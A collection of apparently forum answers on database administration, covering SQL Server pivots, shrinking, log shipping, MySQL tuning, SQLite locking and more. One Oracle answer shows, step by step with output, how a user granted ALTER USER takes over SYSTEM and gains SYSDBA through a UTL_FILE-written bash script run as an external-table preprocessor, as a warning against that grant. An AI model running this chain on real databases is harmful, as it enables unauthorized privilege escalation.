Note that the information in BOL that you quoted is only true is you do the receive within an explicitly defined transaction.  If you receive a message and there is no explicit transaction to rollback then the database can't put the message back in the queue.


Union from Multiple Tables in many databases and group results in batches of n

Assuming the question is...

  "I've randomised per-server, but now I need to randomize among the whole set"

...then it may be prudent to remove UNION & ORDER BY from your query altogether. You can unify a standard query against all database/server combinations into a single dataset stored as a PSCustomObject and pipe the unified data into Sort-Object using the expression {Get-Random} to randomise among the whole set rather than per-call implicit partitions.

You can try something like the following using dbatools.

$connections = @"
Server,Database
sql-01,Database_015
sql-01,Database_016
sql-02,Database_017
sql-03,Database_020
@" | ConvertFrom-Csv

$query_tmp = @"
select
    '{0}' as serv,
    '{1}' as db,
    SrcFilename,
    DestFilename
from dbo.CAD_DATA
where UniqueValue = 1;
"@

$table = foreach($conn in $connections){
    $query = $query_tmp -f $conn.Server, $conn.Database
    Invoke-DbaQuery -Query $query -Server $conn.Server -Database $conn.Database
}

$table | Sort-Object {Get-Random} | Export-Csv ~/Desktop/myquery.csv

If you don't have access to / can't be bothered with dbatools, you may be able to use Invoke-SqlCmd in lieu of Invoke-DbaQuery


"merge" two tables -from different databases- together?

In MS SQL there is a MERGE statement that meets your requirements.
PostgreSQL has the same.
Read more: https://www.postgresql.org/message-id/attachment/23520/sql-merge.html
It allows full control about conditions when to add a row, update a row or delete a row in the target db. I have frequently used it. But it is not a high performance operation if used with a lot of rows.
Of course you need to take care for a direct connection between the servers running the databases.
Sample:
MERGE CustomerAccount CA
USING (SELECT CustomerId, TransactionValue,
   FROM Transactions
   WHERE TransactionId > 35345678) AS T
ON T.CustomerId = CA.CustomerId
WHEN MATCHED
  UPDATE SET Balance = Balance - TransactionValue
WHEN NOT MATCHED
  INSERT (CustomerId, Balance)
  VALUES (T.CustomerId, T.TransactionValue)
;


There are basically two things to consider:

You cause fragmentation when shrinking the database
If the database grew yesterday, there's a good chance it will grow again tomorrow.

To address 1, you need to defrag indexes once you've shrunk the database. The database will grow when you do this, although probably not back to the original size.

To address 2, ask yourself why the database grew. If you know it was a one time thing, then you're probably OK to shrink it. If you know it's a recurring thing, then it's best not to shrink. If you're not sure, do it once manually, but keep a close eye on things and make sure you don't make a habit of it.

Regularly shrinking is a waste of time, will cause you performance issues and one day you'll run out of space without realising it because the database grows overnight but you didn't realise it was at 99% capacity because it was scheduled to shrink everyday before you got into the office.

Keep in mind that the shrink should be carefully planned maintenance on live servers, it'll conflict with things like backups and might put significant load on the server.


You want INDEX(device_id, device_time_ms, id).  First the '=' fields, then, if there is nothing else in WHERE, all the fields of the ORDER BY.

Assuming this is a really large table, and there are a relatively small number of devices, the I recommend you normalize device_id.  That would shrink it from VARCHAR(30) to, say 3 bytes for MEDIUMINT UNSIGNED.  Or maybe it is already a number?  But mistakenly put into a varchar?


User login error when trying to access secured SQL Server database

Both options should work. The article you referrenced should deal with this exact scenario, but if the login is present for you to delete and re-add then go with that route. It is quicker and easier by far.


You can use the PIVOT function to perform this query.  My answer will include both a Static and dynamic version because sometimes it is easier to understand it using a static version.

A Static Pivot is when you hard-code all of the values that you want to transform into columns.

-- first into into a #temp table the list of dates that you want to turn to columns
;with cte (datelist, maxdate) as
(
    select min(arrivaldate) datelist, max(departuredate) maxdate
    from BookingsPerPerson
    union all
    select dateadd(dd, 1, datelist), maxdate
    from cte
    where datelist < maxdate
)
select c.datelist
into #tempDates
from cte c

select *
from
(
    select b.person_id, b.arrivaldate, b.departuredate,
        d.datelist,
        convert(CHAR(10), datelist, 120) PivotDate
    from #tempDates d
    left join BookingsPerPerson b
        on d.datelist between b.arrivaldate and b.departuredate
) x
pivot
(
    count(datelist)
    for PivotDate in ([2012-01-01], [2012-01-02], [2012-01-03],
              [2012-01-04], [2012-01-05], [2012-01-06] , [2012-01-07])
) p;

Results (See SQL Fiddle With Demo):

PERSON_ID | ARRIVALDATE | DEPARTUREDATE | 2012-01-01 | 2012-01-02 | 2012-01-03 | 2012-01-04 | 2012-01-05 | 2012-01-06 | 2012-01-07
=====================================================================================================================================
123456    | 2012-01-01  | 2012-01-04    | 1          | 1          | 1          | 1          | 0          | 0          | 0
213415    | 2012-01-02  | 2012-01-07    | 0          | 1          | 1          | 1          | 1          | 1          | 1

The dynamic version will generate the list of values to transform to columns:

DECLARE @cols AS NVARCHAR(MAX),
    @query  AS NVARCHAR(MAX)

;with cte (datelist, maxdate) as
(
    select min(arrivaldate) datelist, max(departuredate) maxdate
    from BookingsPerPerson
    union all
    select dateadd(dd, 1, datelist), maxdate
    from cte
    where datelist < maxdate
)
select c.datelist
into #tempDates
from cte c

select @cols = STUFF((SELECT distinct ',' + QUOTENAME(convert(CHAR(10), datelist, 120))
                    from #tempDates
            FOR XML PATH(''), TYPE
            ).value('.', 'NVARCHAR(MAX)')
        ,1,1,'')

set @query = 'SELECT person_id, arrivaldate, departuredate, ' + @cols + ' from
             (
                select b.person_id, b.arrivaldate, b.departuredate,
                    d.datelist,
                    convert(CHAR(10), datelist, 120) PivotDate
                from #tempDates d
                left join BookingsPerPerson b
                    on d.datelist between b.arrivaldate and b.departuredate
            ) x
            pivot
            (
                count(datelist)
                for PivotDate in (' + @cols + ')
            ) p '

execute(@query)

The results are the same (see SQL Fiddle With Demo):

PERSON_ID | ARRIVALDATE | DEPARTUREDATE | 2012-01-01 | 2012-01-02 | 2012-01-03 | 2012-01-04 | 2012-01-05 | 2012-01-06 | 2012-01-07
=====================================================================================================================================
123456    | 2012-01-01  | 2012-01-04    | 1          | 1          | 1          | 1          | 0          | 0          | 0
213415    | 2012-01-02  | 2012-01-07    | 0          | 1          | 1          | 1          | 1          | 1          | 1


If your CHECKDB operations are getting blocked by FT CRAWL, a reasonable solution would be to turn full-text search off for the database after it has been restored. After all, it's not as if you are using DBCC CHECKDB to validate that full-text search is doing the right thing, or that you are restoring this copy of the database in order to facilitate FT queries.

To disable full-text search for a database named foo:

IF FULLTEXTSERVICEPROPERTY('IsFullTextInstalled') = 1
BEGIN
  EXEC foo.dbo.sp_fulltext_database @action = 'disable';
END

You probably don't need the conditional since we already know FT is installed, but it's good to carry along in case this server changes or you move your restores to a different place.


You can leave the FK to some dimension tables as NULL if those dimensions are not known or not applicable.  You just have to remember to use outer joins when you do your reporting query.

Alternatively, some people create a "none" and/or an "n/a" dimension record for data mart dimensions and then populate fact table FKs to point at these rather than using NULLs.  People who do this like this approach because they have an aversion to outer joins.

People who use NULL FKs in fact tables usually have an aversion to people who have an version to outer joins.  ;)  (in other words, this is a stylistic issue which can generate religious wars)

I say do whichever you prefer, but pick one approach and stick to it fervently.


Software Uses SQLite and Has Frequent DB Lock Errors. Zero Access to Code. Anything we can do?

SQLite is essentially a single-user "database" and locks entire files, so two concurrent processes attempting to modify the same file will necessarily lock each other out. In the best case the file being locked will contain a single table, in the worst case -- the entire database. You will have to work around the problem by externalizing management of concurrent jobs.


If there is less than a few GB of data in all the tables and indexes, then mysqld may use only 3GB of RAM.  Look on disk in the datadir; see what the total size if that dir tree is.  That will be an approximation of how much RAM might be used.
A well tuned mysql will run with under 5% CPU.  That includes tuning of the VARIABLES, adding necessary INDEXes, and formulating queries optimally.  (Plus other things.)

I once made a 1-line change to a SELECT and it changed from 50% CPU all the time (there were 2 cores) to under 2%.

You say the import is slow?  How big is the import file?  How long would it take to read that file?  The import will be only a small factor slower than the time to read the file.

Check the import file -- does it have INSERT statements that each have lots of rows?  That is critical to the speed of import.

Do you have lots of FOREIGN KEYs?  Lots of secondary indexes?  These may impact the speed.

The import is single-threaded.  Multi-threading it (which is not easily done) is mostly useless, since you are probably nearly I/O-bound.

If it has been running for a long time without filling up much disk, then connect and do SHOW PROCESSLIST; to see what it is doing.  That might be a useful clue.


Postgresql BDR problem compiling pluging

The cause of the issue is that Debian/Ubuntu upgraded postgresql-server-dev-all to require postgresql-server-dev-9.5 which in turns requires libpq-dev 9.5.

There were changes in libpq 9.5 that broke the patched versions of pg_resetxlog and pg_dump bundled in BDR.

BDR 1.0 adds compatibility changes to address this, but there's no real way around the issue that when Debian or Ubuntu or PGDG update libpq, it can break previously working packages.


Best way to migrate a huge SQL Server database with low downtime over network

Straight backup and restore is obviously out. I also wouldn't consider replication of any kind.

Database mirroring is relatively simple to set up, but requires real-time connectivity between the two servers, setting up of partners and endpoints, etc. Availability Groups could be an option, but on top of the networking complications you also have to have both servers as members of the same WSFC - which means they must both be in the same domain. This is not a typical setup (or could even be made to work temporarily) for a data center move.

My vote would be for log shipping. The nice thing about this is that you can use the backups and log backups you're already taking (right?) and don't necessarily have to have real-time connectivity between the two databases - they don't need to know about each other, you don't need to set up endpoints for mirroring, partners, security, etc. You just need a way to get files from the old server to a place where they can be restored on the new server. You can take a full backup well in advance, get it over to the new server, restore it, then apply (possibly diffs and) incremental log backups from that point right up to the moment of cut-over. The process is actually quite simple, and there are many tutorials on log shipping available online if you come across any difficulties.

If the web app is moving with the database, since DNS can take a while to propagate, you might want to make a switch in the connection strings of the old app to make them point at the IP of the new database server once it is writable, since - even after the switch, and even if your TTL settings are tight - clients may continue to hit the old web servers. It all depends on how much respect their providers give your TTLs.


Oracle - How do I grant a user permission to create and change passwords for other users (like a security admin)

You may grant ALTER USER and CREATE USER to that user to get this done. By doing that, you also grant unlimited access indirectly to that user in most databases, which you wanted to avoid.
Connected to:
Oracle Database 19c Enterprise Edition Release 19.0.0.0.0 - Production
Version 19.9.0.0.0

SQL> create user u1 identified by u1;

User created.

SQL> grant create session, alter user to u1;

Grant succeeded.

SQL> conn u1/u1
Connected.
SQL> alter user system identified by system;

User altered.

SQL> conn system/system
Connected.
SQL> show user
USER is "SYSTEM"

That was all it took to gain access to SYSTEM or any other privileged user besides SYS. This already provides read/write access to the filesystem as database user.
SQL> select SYS_CONTEXT ('USERENV','ORACLE_HOME') as home,
            SYS_CONTEXT ('USERENV','INSTANCE_NAME') as instance from dual;

HOME                                     INSTANCE
---------------------------------------- --------------------
/u01/app/oracle/product/19.0.0/dbhome_1  RYMIN19

SQL> create directory exploitd1 as '/tmp';

Directory created.

SQL> create directory exploitd2 as '/usr/bin';

Directory created.

SQL> declare
  fhandle  utl_file.file_type;
begin
  fhandle := utl_file.fopen('EXPLOITD1', 'data.txt', 'w');
  utl_file.put(fhandle, '#!/bin/bash' || CHR(10));
  utl_file.put(fhandle, 'export ORACLE_HOME=/u01/app/oracle/product/19.0.0/dbhome_1' || CHR(10));
  utl_file.put(fhandle, 'export PATH=$ORACLE_HOME/bin:$PATH' || CHR(10));
  utl_file.put(fhandle, 'export ORACLE_SID=RYMIN19' || CHR(10));
  utl_file.put(fhandle, 'sqlplus / as sysdba<<EOF' || CHR(10));
  utl_file.put(fhandle, 'grant sysdba to u1;' || CHR(10));
  utl_file.put(fhandle, 'exit' || CHR(10));
  utl_file.put(fhandle, 'EOF');
  utl_file.fclose(fhandle);
end;
/

PL/SQL procedure successfully completed.

Next create an external table using the above script executed with bash as preprocessor:
SQL> CREATE TABLE exploit_table (c1 varchar2(2000))
ORGANIZATION EXTERNAL (
TYPE ORACLE_LOADER
DEFAULT DIRECTORY exploitd1
ACCESS PARAMETERS (
RECORDS DELIMITED BY NEWLINE
PREPROCESSOR exploitd2:'bash'
DISABLE_DIRECTORY_LINK_CHECK
FIELDS (c1 char(2000)))
LOCATION ('data.txt'))
REJECT LIMIT UNLIMITED;

Table created.

SQL>

And here comes the fun part:
SQL> select USERNAME, SYSDBA from v$pwfile_users;

USERNAME                       SYSDB
------------------------------ -----
SYS                            TRUE

SQL> select count(*) from exploit_table;

  COUNT(*)
----------
        16

SQL> select USERNAME, SYSDBA from v$pwfile_users;

USERNAME                       SYSDB
------------------------------ -----
SYS                            TRUE
U1                             TRUE

SQL>

If you want to really limit the privileges of this security admin, you will need some custom PL/SQL trigger or package/procedure that controls which users can be created and altered by this user.


You should decide what exactly you need, before deciding those 3 options.

My suggestion is as following:

Install memcache and the necesary php module to use with memcache. Once you install memcache, you will have an IP and PORT to connect to, for SET / GET operations
Decide where exactly in your Wordpress php code you need to inject the code that displays the "featured" stuff
Add a php code similar to:

CONNECT to memcache
Check for the existance of a KEY/VALUE pair, named "FEATURED STUFF"
If there is, GET that pair, and display the pair's value
If not, run the SELECT query, FETCH the results, build a string that will contain the HTML body of "FEATURED STUFF", PUT the string in memcache as a KEY/VALUE pair.

The code above should not be cached with WP Super Cache. Let memcache do the cacheing for you.

If you need help with the actual implementation, let me know.

Sample PHP Code:

$memcache = new Memcache;
$memcache->connect('localhost', 11211) or die ("Could not connect");

if ($gotten = $memcache->get('featured_stuff')) {
    echo 'CACHE HIT'</br>';
    echo $gotten;
} else {
    # Never mind - fetch it and store for next time!
    $gotten = dbfetch($query, ...);
    $memcache->set($featured_stuff,$gotten);
    echo $gotten;
}


The only cases I can think of for MySQL where case sensitivity could be an issue would be

Case #1 : Data Dictionary entries for tables by table_name (See my post Is it okay to have different lower_case_table_names value on master and slave?)
Case #2 : Migrating InnoDB tables with referential constraints from Linux to Windows (see my posts MySQL case sensitivity for table names and Is it possible to use the same directory for 2 MySQL servers?)

In those cases, the table name can cause problems. As for column names, it should not be an issue.